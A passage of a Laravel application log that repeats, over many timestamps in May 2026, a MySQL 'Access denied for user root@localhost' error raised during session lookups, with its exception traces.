vInBoVboS6xEoiKVCuby3H6XafH8fGCUcrNPBwKk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vInBoVboS6xEoiKVCuby3H6XafH8fGCUcrNPBwKk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-02 17:22:58] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nnvY2YxTA6Lptej4DXvb5HzdMQoRzAbHsaebERyi limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nnvY2YxTA6Lptej4DXvb5HzdMQoRzAbHsaebERyi limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-02 19:20:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IShVUFPvmGgt0G5rga36FdSrK5m9QkHJJXdAiwzi limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IShVUFPvmGgt0G5rga36FdSrK5m9QkHJJXdAiwzi limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-02 21:01:40] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2XmTOFakqxPhmaNVwFSgE34ttQn5gvZXTmYG2uVT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2XmTOFakqxPhmaNVwFSgE34ttQn5gvZXTmYG2uVT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-03 13:08:56] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WkZ6AqP8gy8nzDKhWRsj6WqB6hsgyEeK3y0ug3Wx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WkZ6AqP8gy8nzDKhWRsj6WqB6hsgyEeK3y0ug3Wx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-03 13:38:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Ykc35lpa9DWtzeNfw3U4P1zBQlJBueUkVhHbBp1M limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Ykc35lpa9DWtzeNfw3U4P1zBQlJBueUkVhHbBp1M limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-04 00:27:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ROWivec4NWKlFGG0kUdPaBZc9MKbYqUQrDVQMVl9 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ROWivec4NWKlFGG0kUdPaBZc9MKbYqUQrDVQMVl9 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-04 09:40:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FhFCPDTs1iahT3N3qDtG4zTE6vh7IC3Xnl7L3qVm limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FhFCPDTs1iahT3N3qDtG4zTE6vh7IC3Xnl7L3qVm limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-04 16:10:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4FmWkHtJHExbbj7XKut4msGlismMgy4PVDA4WPfO limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4FmWkHtJHExbbj7XKut4msGlismMgy4PVDA4WPfO limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-05 04:49:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = biTt51g3tGiba2KqSzUoVocIzdwGebircvFNZMBx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = biTt51g3tGiba2KqSzUoVocIzdwGebircvFNZMBx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-05 06:28:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3Ggq6jjaQCFljKxYPuGXabKrSRg6I1yJU6xMYxrU limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3Ggq6jjaQCFljKxYPuGXabKrSRg6I1yJU6xMYxrU limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-05 10:05:36] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = BgDuDfjqBTQgDRC3H9XVKT64HOf5RYfWbATLy7Zq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = BgDuDfjqBTQgDRC3H9XVKT64HOf5RYfWbATLy7Zq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-05 23:40:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kSFk9Nex7c4Va2eOaItmCZ6IHwXoYIJVBZ1goyn1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kSFk9Nex7c4Va2eOaItmCZ6IHwXoYIJVBZ1goyn1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-06 01:01:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nwqzg9E33b31YR34StNX1p7Eq1nU9yRXCNIxS3hu limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nwqzg9E33b31YR34StNX1p7Eq1nU9yRXCNIxS3hu limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-07 13:39:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cR7vNaBuTZPcXHGKcG4o74KMfHqdggY2VEnC2bnk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cR7vNaBuTZPcXHGKcG4o74KMfHqdggY2VEnC2bnk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-08 03:17:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eYNHLjtsR3qMTnutrWhezjldeka5uZlLciO2ADdX limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eYNHLjtsR3qMTnutrWhezjldeka5uZlLciO2ADdX limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-08 03:49:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3kpwrKqR4ARdDsXRAykVUoX5Jh5SMsgqyyam7Rzg limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3kpwrKqR4ARdDsXRAykVUoX5Jh5SMsgqyyam7Rzg limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-08 13:27:33] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MQ53cpLA2ZGzvG60NRyPuD8MvCSeeeeqLnmrE4IU limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MQ53cpLA2ZGzvG60NRyPuD8MvCSeeeeqLnmrE4IU limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-08 19:49:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = X8S3c9pegFNm4jDnCO7DuRh5Ny3twHtTaoC874rx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = X8S3c9pegFNm4jDnCO7DuRh5Ny3twHtTaoC874rx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-09 03:54:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = my7Oh2Q2qw3V47H5ZaB8hxlj6EgcOHt9Euo6VYBw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = my7Oh2Q2qw3V47H5ZaB8hxlj6EgcOHt9Euo6VYBw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-09 06:15:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RLHAv40cXWzl1YYsQ6B5vjLXxe59Stt5EmquamTN limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RLHAv40cXWzl1YYsQ6B5vjLXxe59Stt5EmquamTN limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-10 12:36:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rdMqO7g611qbF7hTBuvZAicHmVTSMHWX6KGDKQzT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rdMqO7g611qbF7hTBuvZAicHmVTSMHWX6KGDKQzT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-10 16:08:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Y2UEvUu5DidNAp40AxwpVRT6NUoJdN00AZk9Wsc7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Y2UEvUu5DidNAp40AxwpVRT6NUoJdN00AZk9Wsc7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-10 18:26:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = miLMlAS7e3z0WctnBbQPWYCPRtbYsTVDDsYPPjww limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = miLMlAS7e3z0WctnBbQPWYCPRtbYsTVDDsYPPjww limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-11 07:43:57] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = lftvD5f4lFEh2LsnDmUMSubUh5ByRtMt6B3sFHET limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = lftvD5f4lFEh2LsnDmUMSubUh5ByRtMt6B3sFHET limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-11 22:16:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MxValEHTKwyXyP7nx3p5KVYYjibVUTyoVRXaqG0J limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MxValEHTKwyXyP7nx3p5KVYYjibVUTyoVRXaqG0J limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-11 22:55:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Ckl1I5SaRwe09bg9jZWkbDpv0eQJDuNN8IBKUdWW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Ckl1I5SaRwe09bg9jZWkbDpv0eQJDuNN8IBKUdWW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-12 04:45:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WSMDkXcOQHgzpDErzfjDP3dRBnWjNQTwqx0ov5ui limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WSMDkXcOQHgzpDErzfjDP3dRBnWjNQTwqx0ov5ui limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-12 06:08:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qtnVaHjjSNwCkVE6iJwW9KUV23A4qvOvRNuAqIkw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qtnVaHjjSNwCkVE6iJwW9KUV23A4qvOvRNuAqIkw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-12 18:32:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sZjRZAEUbwKXyjXtTj4Bgla4LuvMEMO0Vv3Ubo8k limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sZjRZAEUbwKXyjXtTj4Bgla4LuvMEMO0Vv3Ubo8k limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-12 20:15:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: 